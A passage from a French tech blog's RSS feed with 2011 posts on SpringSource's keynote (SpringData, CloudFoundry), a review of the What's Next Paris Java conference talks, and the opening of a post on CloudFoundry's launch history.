href="http://www.springsource.org/spring-social|about:blank" title="SpringSocial" >SpringSocial</a> fournit les templates nécessaires pour gérer l’authentification à différents réseaux sociaux et ajouter de nouveaux fournisseurs d’authentification, mais il permet aussi bien sûr d’en utiliser les API. Parmi les API supportées, j’ai retenu :</p><ul><li>Facebook</li><li>Twitter</li><li>LinkedIn</li><li>GitHub</li></ul><p>Tout comme le CTO de SpringSource, nous ne nous attarderons pas trop sur le sujet qui n’est finalement pas une nouveauté. Ce projet adresse principalement les développements grand public qui ne sont définitivement pas majoritaires dans notre industrie où l’application d’entreprise règne en maître. Adrian Colyer s’est permis un raccourci pour associer l’utilisation de ces services tiers aux nouvelles problématiques de stockage avec les NoSQL et big-data.</p><h3><a
name="Lapersistancedesdonnes"></a>La persistance des données</h3><p><a
href="http://blog.xebia.fr/wp-content/uploads/2011/06/nosql-databases.png" style="float:right;margin:5px;"><img
src="http://blog.xebia.fr/wp-content/uploads/2011/06/nosql-databases.png" alt="nosql-databases" title="nosql-databases" width="340" height="187" class="alignright size-full wp-image-7965" /></a><br
/> Les RDBMS n’ont plus l’exclusivité de la persistence des données et SpringSource en a bien conscience. Adrian Colyer nous a donc parlé du projet <a
href="http://www.springsource.org/spring-data|about:blank" title="springdata" >spring-data</a> dont le but est de faciliter l’utilisation des nouveaux services de persistance comme les NoSQL de tous types. SpringData introduit de nouvelles annotations pour gérer le mapping des beans vers les bases non relationnelles. Elles permettent de gérer finement la configuration du stockage sur des systèmes distribués.<br
/> La librairie se découpe en plusieurs sous-projets :</p><ul><li>mapping pour assurer le mapping des beans par des annotations unifiées pour les différents systèmes de données.</li><li>Blob pour les systèmes de stockage sous forme de Blob tel Amazon S3.</li><li>Column Store pour les NoSQL orientés colonne avec Cassandra et HBase.</li><li>Document Store pour les NoSQL orientés document avec un support pour MongoDB et CouchDB.</li><li>Graph pour les bases orientées graphe avec Neo4J.</li><li>Key value store, les bases orientées clé-valeurs, avec le support de Riak, Reddis et Membase.</li><li>Map-Reduce, pour simplifier des frameworks de MapReduce avec le support de Hadoop.</li></ul><p>Voici donc une offrequi s’annonce  largement étoffée par rapport aux templates déjà disponibles pour JDBC et JPA. Dommage que BigTable ne fasse pas partie du lot.</p><h3><a
name="Ledploiementdesapplications"></a>Le déploiement des applications</h3><p>Le CTO de SpringSource nous a ensuite parlé de son nouveau cheval de bataille qu’est le déploiement. Rien de très étonnant avec la nouvelle mode DevOps et l’industrialisation des déploiements. Après les réseaux sociaux et leurs SAAS, il met en avant les architectures PAAS comme étant la solution d’avenir pour résoudre les problèmes de déploiement. Parmi les avantages du Platform As A Service, Adrian Colyer retient :</p><ul><li>La rapidité des déploiements</li><li>Le coût de ce type d’hébergement</li><li>La scalabilité des services</li></ul><p>Toutes ces facilités permettent de réduire le Time to market tout en augmentant la flexibilité métier. Le discours est assez convaincant. Adrian Colyer nous parle ensuite des différents modes de fonctionnement avec le cloud public, le cloud privé et les services mixant cloud privé et public. À partir de là, il nous parle de ce qu’il appelle le micro cloud. En réalité, il s’agit du déploiement d’une architecture PAAS en local sur la machine du développeur. L’avantage étant de tester les développements directement sur une architecture iso-production, pour éviter les fameux bugs de production par exemple.</p><h3><a
name="CloudFoundry"></a>CloudFoundry</h3><p><a
href="http://blog.xebia.fr/wp-content/uploads/2011/06/cloud_foundry_logo-1.png" style=float:right;margin:5px;><img
src="http://blog.xebia.fr/wp-content/uploads/2011/06/cloud_foundry_logo-1.png" alt="cloud_foundry_logo-1" title="cloud_foundry_logo-1" width="235" height="123" class="alignright size-full wp-image-7968" /></a></p><p>Nous abordons ici le gros sujet de la présentation en la personne de l’open PAAS (comprendre PAAS open source), avec le dernier né des services SpringSource <a
href="http://www.cloudfoundry.com/" title="CloudFoundry" >CloudFoundry</a>. Il s’agit d’un service monétisé de distribution et d’hébergement de type PAAS. Il permet d’obtenir son cloud privé ou public, seul le micro cloud est disponible gratuitement.</p><p>La solution fournit différents templates permettant d’intégrer des services applicatifs (frameworks de développement) et des services d’infrastructures (systèmes de gestion des données).<br
/> Le système supporte différents runtimes pour le développement:</p><ul><li>Java</li><li>Ruby</li><li>NodeJS</li></ul><p>Il est aussi possible de choisir parmi différents services d’environnement:</p><ul><li>NoSQL(MongDB, Reddis) ou SQL (MySQL)</li><li>Bus de message (RabbitMQ)</li></ul><p>La solution gère nativement la scalabilité horizontale en définissant le nombre d’instances à lancer et le load-balancing entre les différents frontaux.<br
/> Adrian Colyer nous fait ensuite une petite démonstration avec l’outil vmc qui permet d’administrer le cloud sans mal. Avec ce petit utilitaire en ligne de commande, on peut déployer son application à partir du répertoire projet. Parmi les fonctions de vmc on retrouve :</p><ul><li>Déploiement de l’application</li><li>Définition du nombre d’instances lancées</li><li>Consultation de l’état des différents serveurs</li></ul><p>L’outil possède sans doute d’autres fonctionnalités, mais elles ne faisaient pas partie de la démonstration. vmc semble vraiment facile à utiliser et permet manifestement de monter des architectures complexes très rapidement. Bien sûr ces affirmations sont à prendre avec des pincettes car nous sommes restés dans les clous d’une démonstration, sans aborder par exemple le problème de la configuration des middlewares ou des architectures un peu plus ésotériques. La solution suscite en tout cas l&#8217;intérêt et j’avoue avoir créé mon compte sur le site pendant la présentation.<br
/> Pour finir, Adrian Colyer nous parle d’une nouveauté dans la déclaration des beans Spring, qui permet de définir un profil correspondant à l&#8217;environnement de déploiement. Ainsi, les ressources d&#8217;environnement peuvent être directement déclarées dans la configuration Spring et s’adapter au profil en cours d&#8217;exécution. Par exemple cela permet de déclarer les datasources ou les URLs de connexion aux bus de messages.</p><h3><a
name="Conclusion"></a>Conclusion</h3><p>Au final, il n’y a pas de grande révolution dans les annonces du CTO SpringSource. Le discours est resté très commercial, avec la mise en avant de toutes les solutions déjà au catalogue de l’éditeur. Il n’en est pas moins intérressant d’en tirer les axes de développement de SpringSource, à savoir les réseaux sociaux, le NoSQL et le PAAS. Parmi les termes revenus les plus souvent, nous retiendrons la scalabilité, les applications polyglottes, avec l’entrée de NodeJS sur le devant de la scène. Bref SpringSource, entré dans le giron de VMWare, mise l’essentiel pour ne pas dire tout sur son nouveau service CloudFoundry.</p><ul><li>La présentation sur <a
href="http://www.slideshare.net/adriancolyer/whats-next-paris-adrian-colyer-keynote" title="SlideShare" >SlideShare</a></li><li>Le retour sur le <a
href="http://blog.zenika.com/index.php?post/2011/05/29/What-s-next-%3A-Keynote-d-Adrian-Colyer" title="blog de Zenika" >blog de Zenika</a></li></ul> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/06/06/whats-next-la-keynote-dadrian-colyer/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>What&#8217;s Next Paris 2011</title><link>http://blog.xebia.fr/2011/06/03/whats-next-paris-2011/</link> <comments>http://blog.xebia.fr/2011/06/03/whats-next-paris-2011/#comments</comments> <pubDate>Fri, 03 Jun 2011 11:38:19 +0000</pubDate> <dc:creator>Séven Le Mesle</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[akka]]></category> <category><![CDATA[AMQP]]></category> <category><![CDATA[clojure]]></category> <category><![CDATA[cloud]]></category> <category><![CDATA[Cloud / NoSQL]]></category> <category><![CDATA[Conference]]></category> <category><![CDATA[Flex Mobile]]></category> <category><![CDATA[HTML5]]></category> <category><![CDATA[rabbitmq]]></category> <category><![CDATA[scala]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[WebSocket]]></category> <category><![CDATA[What's Next]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=7943</guid> <description><![CDATA[Nous vous l&#8217;avions annoncé ici-même: les 26 et 27 mai derniers se tenait la conférence what&#8217;s next au grand rex à paris. organisée par zenika, cette conférence gravitait autour des technologies et des outils de demain pour la plateforme java et son écosystème. vous avez pu suivre l&#8217;évènement sur twitter en utilisant le hashtag #wsnparis, [...]]]></description> <content:encoded><![CDATA[<p><a
href="http://blog.xebia.fr/wp-content/uploads/2011/06/whats-next.jpg" style="float:right;"><img
src="http://blog.xebia.fr/wp-content/uploads/2011/06/whats-next-300x222.jpg" alt="whats-next" title="whats-next" width="300" height="222" class="alignright size-medium wp-image-7944" /></a><br
/> Nous vous l&#8217;avions <a
href="http://blog.xebia.fr/2011/05/25/xebia-a-la-whats-next/" title="annoncé ici-même" >annoncé ici-même</a>: les 26 et 27 mai derniers se tenait la conférence <a
href="http://www.whatsnextparis.com/" title="what's next" >what&#8217;s next</a> au grand rex à paris. organisée par zenika, cette conférence gravitait autour des technologies et des outils de demain pour la plateforme java et son écosystème. vous avez pu suivre l&#8217;évènement sur twitter en utilisant le hashtag <a
href="http://twitter.com/#!/search?q=%23wsnparis" title="#wsnparis" >#wsnparis</a>, mais la revue de presse est l&#8217;occasion de vous faire un retour sur cette première conférence du genre en france. un public d&#8217;utilisateurs java avancés, des speakers de renommée internationale et même de la bière atlassian, le tout dans une organisation sans faille et un timing parfaitement respecté: bref, ce fut un réel plaisir de participer à l&#8217;évènement.</p><p>&nbsp;</p><h3><a
name="PremierJournbsp"></a>Premier Jour </h3><p>Tout commence par un petit mot d&#8217;accueil de <strong>Carl Azoury</strong> qui nous parle de l&#8217;investissement de Zenika dans l&#8217;organisation de l&#8217;évènement. Cinq mois de préparation, pour un budget total de 150k euros avec 35k d&#8217;entrée et 45k de financement par les sponsors. Bref, Zenika n&#8217;a pas ménagé ses efforts pour réussir cette grande première.</p><p>C&#8217;est ensuite au tour d&#8217;<strong>Adrian Colyer</strong> de venir nous parler des orientations prises par SpringSource. Voici les points marquants :</p><ul><li><a
href="http://www.springsource.org/spring-social" title="SpringSocial" >SpringSocial</a> permet de s&#8217;interfacer avec les SaaS des différents réseaux sociaux.</li><li><a
href="http://www.springsource.org/spring-mobile" title="SpringMobile" >SpringMobile</a> facilite le développement d&#8217;applications Android et de sites web destinés aux WebPhones.</li><li><a
href="http://www.springsource.org/spring-data" title="SpringData" >SpringData</a> vient faciliter l&#8217;utilisation de NoSQL sous toutes ses formes avec des annotations assurant le mapping des beans Java.</li><li><a
href="http://www.cloudfoundry.com/" title="CloudFoundry" >CloudFoundry</a> &#8212; le sujet principal de cette KeyNote &#8212; fournit un PaaS open source facile à utiliser permettant de faire du cloud publique, privé ou micro en local sur la machine du développeur.</li></ul><p><strong>Boris Bokowski</strong> prend la suite pour nous faire une démonstration autour d&#8217;<a
href="http://wiki.eclipse.org/Orion" title="Eclipse Orion" >Eclipse Orion</a>, un IDE en ligne développé en HTML5. Il s&#8217;agit en réalité d&#8217;un IDE pour le développement web qui intègre quelques fonctionnalités basiques comme la coloration syntaxique, la recherche, l&#8217;auto-complétion des mots clés, l&#8217;intégration des SCM comme Git et la possibilité de publier son travail via FTP ou SFTP. L&#8217;outil possède un système de plugin que nous n&#8217;avons pas pu découvrir pour cause d&#8217;effet démo. Boris y voit la possibilité d&#8217;intégrer une multitude de petits outils en ligne en définissant un réel standard. Pour ce qui est de l&#8217;éditeur en lui-même, il faut reconnaître que les performances sont impressionnantes: le navigateur ne ralentit pas même en éditant de très gros fichiers (15k lignes et plus). Au final, Orion ressemble davantage à un éditeur texte avancé du même type que notepad++ mais pas à un réel IDE. L&#8217;idée est intéressante mais il y a encore beaucoup de travail à réaliser pour en faire un outil capable de supplanter nos IDE lourds.</p><p>Après une pause déjeuner régime (un sandwich) un peu courte, <strong>Howard LewisShip</strong> vient nous présenter <a
href="http://clojure.org/" title="Clojure" >Clojure</a>. Clojure est un dialecte de <a
href="http://en.wikipedia.org/wiki/Lisp_(programming_language)" title="Lisp" >Lisp</a> (famille de langages fonctionnels) tournant sur la JVM. La syntaxe est sensée être plus légère que Java qui multiplie les accolades et autres crochets. Attention, le langage est presque purement fonctionnel et ne joue pas la mixité avec le paradigme objet. La présentation est parfaitement maîtrisée et Howard s&#8217;avère être un très bon speaker, malheureusement le langage apparait d&#8217;une complexité impressionnante avec une syntaxe très difficile d&#8217;accès pour les Javaistes que nous sommes. Comme souvent pour ce type de langage, Clojure se distingue dans la manipulation des collections. La grande majorité de l&#8217;auditoire est apparue quelque peu perdue dans la syntaxe, peut-être était-ce dû à l&#8217;effet digestion.</p><p>C&#8217;est ensuite au tour de <strong>Jevgeni Kabanov</strong> de prendre la parole dans une présentation pleine de vie sur la gestion de la mémoire dans la JVM. Tout commence par le CPU qui embarque sa propre gestion de la mémoire dans ses caches, puis Jevgeni nous parle de la mémoire paginée de l&#8217;OS pour finir par s&#8217;intéresser à la JVM proprement dite. Par exemple, l&#8217;utilisation du mot clé <code>volatile</code> empêche la mise en cache CPU de la donnée, tandis que le mot clé synchronized crée des points de synchronisation dans les registres du CPU. Jevgeni enchaîne avec le fonctionnement des différents garbage collectors et le problème des pauses GC qui bloquent la JVM. Il met en avant le ConcurrentMarkSweep qui permet d&#8217;obtenir des temps de pause courts mais au prix d&#8217;une forte fragmentation de la mémoire alors que le G First permet d&#8217;obtenir des temps de réponse courts sans fragmentation.  La conclusion vient enfin avec une courte introduction du travail réalisé par Azul sur la plateforme <a
href="http://www.azulsystems.com/products/zing" title="Zing" >Zing</a> qui permet de faire tourner des JVM sans pause GC. Une présentation très intéressante par un speaker de grande qualité.</p><p><strong>Jags Ramnarayan</strong> vient nous présenter SQLFire, qui n&#8217;est ni plus ni moins qu&#8217;un moteur SQL pour Gemfire. La solution permet de travailler en SQL sur la grille de mémoire. Parmi les points intéressants, on pourra noter que cela permet de travailler directement en JDBC sans avoir à utiliser une nouvelle API spécifique à la mode des NoSQL standards. La solution propose des transactions distribuées sans réaliser de verrouillage globale. SQLFire utilise quelques modifications du DDL pour gérer la distribution des données comme la réplication, et la co-localisation pour les données liées. Bref une solution intéressante qui peut avoir l&#8217;avantage de réduire le temps de prise en main des NoSQL pour ceux qui sont prêts à en payer la licence.</p><p>Le dernier slot est présenté par <strong>Brad Drysdale</strong> qui vient nous présenter les WebSockets d&#8217;HTML5. Cette nouvelle technologie portée par le W3C permet de réaliser des communications Full Duplex entre le serveur et le navigateur. Le gros avantage de cette solution par rapport aux autres techniques comme le polling et le long-polling, est de ne pas reposer sur le protocole HTTP qui est par essence très verbeux. Brad nous indique que cela permet de réduire drastiquement la consommation de bande passante pour les échanges client-serveur. La présentation est très didactique et sans démonstration, le but n&#8217;est pas de mettre en avant les solutions de Kaazing mais bel et bien la technologie en elle même. Brad est très convaincant, et la grande majorité de la salle semble vouloir se mettre aux WebSockets.</p><p>La journée se termine par une soirée organisée par Atlassian avec boisson et gâteaux apéritif, l&#8217;occasion idéale pour discuter de cette première entre auditeurs ou avec les speakers qui sont tous présents et disponibles.</p><h3><a
name="Deuximejour"></a><strong>Deuxième jour</strong></h3><p><strong>Neal Gafter</strong> ouvre le bal de cette deuxième journée par une présentation retraçant l&#8217;histoire de Java et son avenir &laquo;&nbsp;proche&nbsp;&raquo;. Nous ne décrirons pas ici la chronologie complète de Java. Depuis la première release en 95, la technologie connaît un succès croissant jusque dans le début des années 2000 ou le nombre de participants à la JavaOne commence à fluctuer à la baisse. Les évolutions du langage sont très importante jusqu&#8217;en 2004 à la sortie de la J2SE 5.0.<br
/> Là, Neal en profite pour nous parler de Java Puzzler publié en 2005 et nous donne 2 exemples tirés du livre ; l&#8217;assemblée se prête volontier à cet exercice amusant. Puis viens 2006 avec la publication de Java 6, de JEE 5 et la distribution de la JVM HotSpot sous GPLv2. Les nouvelles versions se sont enchainées tous les deux ans, mais en 2007 alors que SUN travaille à l&#8217;OpenJDK sous licence GPL, Apache annonce Harmony, son implémentation de Java sous licence ASF. La discorde commence entre SUN et Apache au sujet de la licence du TCK qui n&#8217;est pas compatible avec la licence d&#8217;Harmony, interdisant du même coup la validation du projet Harmony comme compatible Java 5. Oracle demande d&#8217;ailleurs courant 2007 à SUN de supprimer les limitations de la fameuse licence pour permettre la validation d&#8217;Harmony. A noter tout de même qu&#8217;en 2002 SUN avait annoncé être prêt à ouvrir la licence du TCK. En 2009, JEE 6 est finalement approuvé malgré de nombreuses discordes. Pour en finir en 2010, année du rachat de SUN par Oracle, qui fait bouger les choses, en forçant le JCP à approuver les futures version 7 et 8 de la J2SE. IBM le contributeur principal va aussi abandonner Harmony au profit de l&#8217;OpenJDK. Apache claque la porte du JCP, Oracle lance un procès contre Google au sujet de Dalvik la VM d&#8217;android qui repose en partie sur Harmony et confirme que la licence du TCK ne changera pas. Voilà pour la chronologie, Neal passe ensuite naturellement aux évolutions embarquées dans Java 7 et 8 avec des exemples de code source à l&#8217;appui, petit rappel utile de ce qui nous attend pour 2011 et 2012. Il conclut que le progrès et l&#8217;innovation fonctionnent mieux quand il y a quelqu&#8217;un pour tenir la barre.</p><p>Il passe enfin la parole à un collègue qui nous présente rapidement <a
href="http://www.microsoft.com/france/windows-azure/" title="Windows Azure" >Windows Azure</a> - le cloud par Microsoft &#8211; qui supporte beaucoup de plateformes de développement. L&#8217;offre permet de déployer ses applications sans se soucier de la scalabilité ou des VM qui font tourner le service. La solution rappelle fortement CloudFoundry, mais c&#8217;est encore un système propriétaire. Parmi les service embarqués on retient la mise à disposition d&#8217;une base SQL. Il y a un plugin eclipse Azure4J, la base est disponible en SQL par JDBC, elle serait d&#8217;ailleurs compatible avec JPA (étonnant pour une base distribuée). La solution a l&#8217;air intéressant et il est agréable de constater les efforts fournis par Microsoft pour les développements Java. Pour plus d&#8217;information consultez le site <a
href="http://www.windowsazure4j.org/" title="Waz4j" >Waz4j</a>. </p><p>C&#8217;est ensuite <strong>Rob Harrop</strong> qui prend la parole et nous présente <a
href="http://www.rabbitmq.com/" title="RabbitMQ" >RabbitMQ</a> ce bus de message multi-protocole basé sur AMQP. RabbitMQ supporte la plupart des langages Java, Python, Ruby, NodeJs et j&#8217;en passe. Il développe sous nos yeux un petit système envoyant le cours des actions de plusieurs groupes, il développe ensuite des consommateurs en Python en Ruby et va jusqu&#8217;à se connecter en Telnet sur son instance RabbitMQ pour recevoir les messages. Le système permet de convertir les messages vers STOMP, XMPP et HTTP en transmettant toujours le même contenu. Rob Harrop développe un serveur web NodeJs qui reçoit les messages du bus et les transmet dans une WebSocket. Après quelques passages d&#8217;un terminal à l&#8217;autre, Rob affiche la page dans son navigateur et les chiffres défilent instantanément à l&#8217;écran. La démonstration est vraiment convaincante et l&#8217;assemblée l&#8217;accueille avec enthousiasme. </p><p>Après un déjeuné frugal, nous accueillons <strong>Theo Schlossnagle</strong> qui vient nous parler d&#8217;architecture. Il commence par prendre le contre-pied de la mode cloud et NoSQL en avançant que nous avons déjà bien assez de puissance de calcul chez nos clients et qu&#8217;il faut commencer par faire fonctionner nos systèmes avec les ressources dont nous disposons. Les systèmes distribués n&#8217;empêchent pas les défauts d&#8217;une architecture. Dans la majorité des cas, il faut repenser les systèmes. Le conseil majeur de Theo est d&#8217;éviter la complexité, les systèmes simples sont bien plus faciles à développer, tester et déployer. Il faut donc découpler les services afin de les maintenir simples et isolés.  Là, il nous met en garde, car cela nécessite l&#8217;utilisation de bus de messages, ce qui s&#8217;avère complexe. Voici quelques uns de ces conseils avisés :</p><ul><li>Utilisez des traitements asynchrones.</li><li>Simulez l&#8217;ensemble du système en développement pour le faire tomber au plus tôt, car une architecture finit toujours par casser.</li><li>Mettez en place du code défensif (timeouts, heartbeat, &#8230;)</li><li>Assurez la supervision complète du système (Temps de réponses, Nombre de clients, Taille des files d&#8217;attente, &#8230;)</li></ul><p>Pour tout dire une présentation riche et instructive.</p><p><strong>Michaël Chaize</strong>, prend la suite pour nous présenter la plateforme Flex, dont nous avons déjà parlé sur le <a
href="http://blog.xebia.fr/tag/flex/" title="blog" >blog</a>. Il nous présente d&#8217;abord quelques applications réalisées par Adobe, avec des interfaces tres graphiques et interactives.  Une petite pique au HTML5, puis il passe à une démonstration mobile en développant une application listant les Tweets #wsnparis. Michaël utilise FlexBuilder pour son développement, rapidement il lance l&#8217;application dans un simulateur Android. Il nous liste les plateformes supportées (Android, BlackBerry, ios). Un auditeur le rejoint sur la scène et nous présente une application développée par ses soins, déployée sur deux téléphones et une tablette. L&#8217;interface s&#8217;adapte bien à chaque taille d&#8217;écran et chaque définition. Les démonstrations ont l&#8217;air fluide sur les mobiles et Michaël insiste sur les efforts fournis pour optimiser les performances de la machine virtuelle. La présentation est convaincante et l&#8217;argument de la portabilité mobile pèse dans la balance, comme nous l&#8217;avions vu lors du <a
href="http://blog.xebia.fr/2011/04/08/retrospective-de-notre-xke-d-avril/" title="XKE davril" >XKE d&#8217;avril</a>.</p><p><strong>Jonas Bonér</strong> vient ensuite nous parler d&#8217;<a
href="http://akka.io" title="AKKA" >AKKA</a> le framework développement orienté acteur.  Il nous présente d&#8217;abord ce que sont les acteurs à savoir des unités de traitements isolées orientées messages. Chaque acteur possède un état, une mémoire propre et s&#8217;exécute dans un Thread réservé. Akka tente de résoudre trois problèmes essentiels des systèmes informatiques :</p><ul><li>Scalabilté (fonctionnement réparti et distribué).</li><li>Tolérance à la panne</li><li>Concurrence d&#8217;exécution</li></ul><p>Les acteurs sont asynchrones par essence, mais il est possible d&#8217;attendre le résultat du traitement d&#8217;un message via l&#8217;utilisation d&#8217;un Future. Les acteurs distants permettent d&#8217;assurer la distribution et la scalabilité. Le mode cluster sera disponible en version 2.0, il repose sur l&#8217;utilisation de <a
href="http://zookeeper.apache.org/" title="ZooKeeper" >ZooKeeper</a> et permet de créer des grilles sans connaître la topologie réseau à priori. Jonas nous parle ensuite de la tolérance à la panne en nous expliquant la detection des noeuds cassés, et le système de recouvrement automatique. Sur le slide, le système à l&#8217;air réellement fiable, en cas d&#8217;erreur les noeuds sont d&#8217;abord tués puis redémarrés.  La présentation donne vraiment envie de tester cette technologie émergente issue de <a
href="http://www.scala-lang.org/" title="Scala" >Scala</a> et qui d&#8217;ailleurs fait parti de la stack <a
href="http://typesafe.com/" title="TypeSafe" >TypeSafe</a>. </p><p><strong>Shay Banon</strong> prend maintenant la parole pour nous présenter <a
href="http://www.elasticsearch.org/" title="ElasticSearch" >ElasticSearch</a> une solution d&#8217;indexation et de recherche construite au dessus de <a
href="http://lucene.apache.org/" title="Lucene" >Lucene</a> avec la particularité de fonctionner en cluster avec la distribution des index et leur réplication sur un ou plusieurs noeuds du système. Tout se déroule dans un terminal dans lequel le speaker lance des requêtes en curl sur le serveur qu&#8217;il a lancé en local. Petit à petit il nous montre des exemples de plus en plus complexes, en commençant par la création d&#8217;un serveur simple puis d&#8217;un cluster. Il enchaîne ensuite avec une indexation basique en augmentant la complexité régulièrement. Tous les échanges sont réalisés en Rest Json. La recherche utilise directement la syntaxe Lucene, il est même possible d&#8217;utiliser des requêtes pré-définies avec Percolator. La démonstration est intéressante bien que cela manque un peu de vie, je ne suis pas vraiment convaincu par l&#8217;outil, la plus-value par rapport à <a
href="http://lucene.apache.org/solr/" title="Solr" >Solr</a> n&#8217;est pas évidente.</p><p>Pour conclure cette journée de conférences, <strong>Kohsuke Kawaguchi</strong> se lance dans une présentation sur l&#8217;avenir de l&#8217;intégration et des outils du développeur en général. Il constate que nous avons de plus en plus de machines de plus en plus puissantes, le développeur est le berger d&#8217;un troupeau d&#8217;ordinateurs. Il faut donc aider le berger à tirer partie au mieux de toute cette puissance de calcul. Pour choyer le développeur qui est une denrée rare par rapport au datacenter, Kohsuke nous donne quelques pistes: </p><ul><li>Distribuer les builds</li><li>Augmenter et améliorer le parallélisme (Compilation, Test unitaires, <a
href="http://java.net/projects/parallel-junit" title="Parallel Junit" >Parallel Junit</a>, TestNG, &#8230;)</li><li>Utiliser un SCM distribué</li></ul><p>Cette liste n&#8217;est pas exhaustive et il faut bien reconnaître que Kohsuke a beaucoup d&#8217;idées pleines de bon sens. Il propose même de déporter définitivement la compilation et les tests sur le serveur d&#8217;intégration pour éviter au développeur la perte de temps considérable que cela représente. J&#8217;avoue avoir encore quelques doutes, mais en exécutant les tests unitaires avant de pousser vos sources sur Git ou Mercurial pourquoi pas.</p><h3><a
name="Conclusion"></a>Conclusion</h3><p>La conférence est une réussite de mon point de vue d&#8217;auditeur, le contenu était dense mais cela nous a assuré deux jours de veille technologique fort sympathiques. L&#8217;ambiance était bonne et puisque Zenika l&#8217;a annoncée, ce sera un plaisir de venir à la prochaine édition. Voilà pour l&#8217;ambiance et l&#8217;organisation, mais je ne peux m&#8217;arrêter là sans faire le tour des grandes tendances ressenties à la What&#8217;s Next. La scalabilité est sur toutes les lèvres, l&#8217;idée ne semble pas nouvelle mais il n&#8217;est pas possible de parler de cette conférence sans écrire ce mot magique. Il faut aussi noter la presque omniprésence des langages fonctionnels, Scala et NodeJS en tête. Les systèmes sont de plus en plus polyglottes et il faudra compter avec ces nouveaux langages pour les futurs développements. Remarquez aussi, pour ceux qui ne l&#8217;avait pas encore en tête, que le standard HTML5 devient de plus en plus incontournable. Enfin, notez que le cloud est lui aussi sur le devant de la scène, les solutions PAAS de SpringSource et Microsoft annoncent à mon sens une démocratisation de ce type d&#8217;architecture. C&#8217;est aussi une démocratisation assez globale de l&#8217;utilisation des NoSQL ou plus exactement des bases de données distribuées. Après ces deux derniers points, je reprendrai les conseils de Theo Schlossnagle : avant de penser au cloud, commencez par résoudre les problèmes que vous rencontrez sur vos architectures en pensant aux traitements asynchrones, à la programmation défensive et à la simplicité avant tout.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/06/03/whats-next-paris-2011/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>Lancement du projet Platform as a Service &#171;&#160;Cloud Foundry&#160;&#187; de Spring Source</title><link>http://blog.xebia.fr/2011/04/13/lancement-du-projet-platform-as-a-service-cloud-foundry-de-spring-source/</link> <comments>http://blog.xebia.fr/2011/04/13/lancement-du-projet-platform-as-a-service-cloud-foundry-de-spring-source/#comments</comments> <pubDate>Wed, 13 Apr 2011 08:12:23 +0000</pubDate> <dc:creator>Alexis Kinsella</dc:creator> <category><![CDATA[Cloud / NoSQL]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[cloud]]></category> <category><![CDATA[CloudFoundry]]></category> <category><![CDATA[Grails]]></category> <category><![CDATA[Rails]]></category> <category><![CDATA[Ruby]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[SpringSource]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=7415</guid> <description><![CDATA[L'attente fut longue, depuis l'annonce du rachat de SpringSource par VMware en août 2009, cependant la synergie VMware + SpringSource semble porter ses fruits. Le terrain a été préparé consciencieusement depuis presque 2 années maintenant, puisque SpringSource/VMware a bâti au fur et à mesure son portefeuille de technologies Cloud, leur permettant à ce jour de proposer sûrement une des offres les plus prometteuses du marché]]></description> <content:encoded><![CDATA[<p
style="text-align: left;">L&#8217;attente fut longue, depuis <a
title="l'annonce du rachat de SpringSource par VMware" href="http://blog.xebia.fr/2009/08/17/pourquoi-vmware-springsource-virtualisation-materielle-vs-cloud/">l&#8217;annonce du rachat de SpringSource par VMware</a> en août 2009, cependant <a
title="la synergie VMware + SpringSource" href="http://blog.xebia.fr/2009/08/17/pourquoi-vmware-springsource-virtualisation-materielle-vs-cloud/">la synergie VMware + SpringSource</a> semble porter ses fruits. Le terrain a été préparé consciencieusement depuis presque 2 années maintenant, puisque SpringSource/VMware a bâti au fur et à mesure son portefeuille de technologies Cloud, leur permettant à ce jour de proposer sûrement une des offres les plus prometteuses du marché, comme le montre cet historique:</p><ul
style="text-align: left;"><li>En décembre 2008, SpringSource annonce la sortie de <a
title="tcServer" href="http://blog.xebia.fr/2008/12/08/revue-de-presse-xebia-86/#SpringSourcetcServerundmServer">tcServer</a>.</li><li>En mai 2009, <a
title="SpringSource annonce la mise  disposition gratuite de sa suite de dveloppement" href="http://blog.xebia.fr/2009/08/10/revue-de-presse-xebia-121/#SpringSourceToolSuite">SpringSource annonce la mise à disposition gratuite de sa suite de développement</a> Spring Tool Suite.</li><li>En mai 2009, <a
title="SpringSource rachte Hyperic" href="http://blog.xebia.fr/2009/05/04/revue-de-presse-xebia-107/">SpringSource rachète Hyperic</a> l&#8217;éditeur de l&#8217;outil de supervision HypericHQ, permettant ainsi de disposer d&#8217;une solution de monitoring performante.</li><li>En août 2009 déjà, le mois du rachat de SpringSource par VMware, <a
title="Rod Johnson annonçait sur son blog son intension de lancer Cloud Foundry" href="http://blog.xebia.fr/2009/08/24/revue-de-presse-xebia-123/#SpringSourcelanceCloudFoundry">Rod Johnson annonçait sur son blog son intension de lancer Cloud Foundry</a> tout en donnant sa vision sur une gestion unifiée du cycle de vie des applications au travers des solutions de SpringSource. L&#8217;offre classique de Cloud Foundry est d&#8217;ailleurs toujours en <a
title="ligne" href="http://classic.cloudfoundry.com/">ligne</a>, mais à une nouvelle adresse.</li><li>En avril 2010, <a
title="SpringSourceVMware rachte RabbitMQ" href="http://blog.xebia.fr/2010/04/19/revue-de-presse-xebia-155/#RabbitMQrachetparSpringSource">SpringSource/VMware rachète RabbitMQ</a>, proposant ainsi une brique de messaging prête pour le Cloud et intégrée avec Spring.</li><li>En mai 2010, <a
title="SpringSourceVmWare se dote dun cache distribu en rachetant GemStone" href="http://blog.xebia.fr/2010/05/11/revue-de-presse-xebia-158/#SpringSourcesedoteduncachedist">SpringSource/VmWare se dote d&#8217;un cache distribué en rachetant GemStone</a> qui édite le produit GemFire.</li><li>En septembre 2010, <a
title="SpringSourceVMware annonce la sortie de sa plateforme vFabric" href="http://blog.xebia.fr/2010/09/07/revue-de-presse-xebia-175/#LancementdevFabricauVMworldSpr">SpringSource/VMware annonce la sortie de sa plateforme vFabric</a>.</li><li>Au SpringOne2GX en novembre 2010, <a
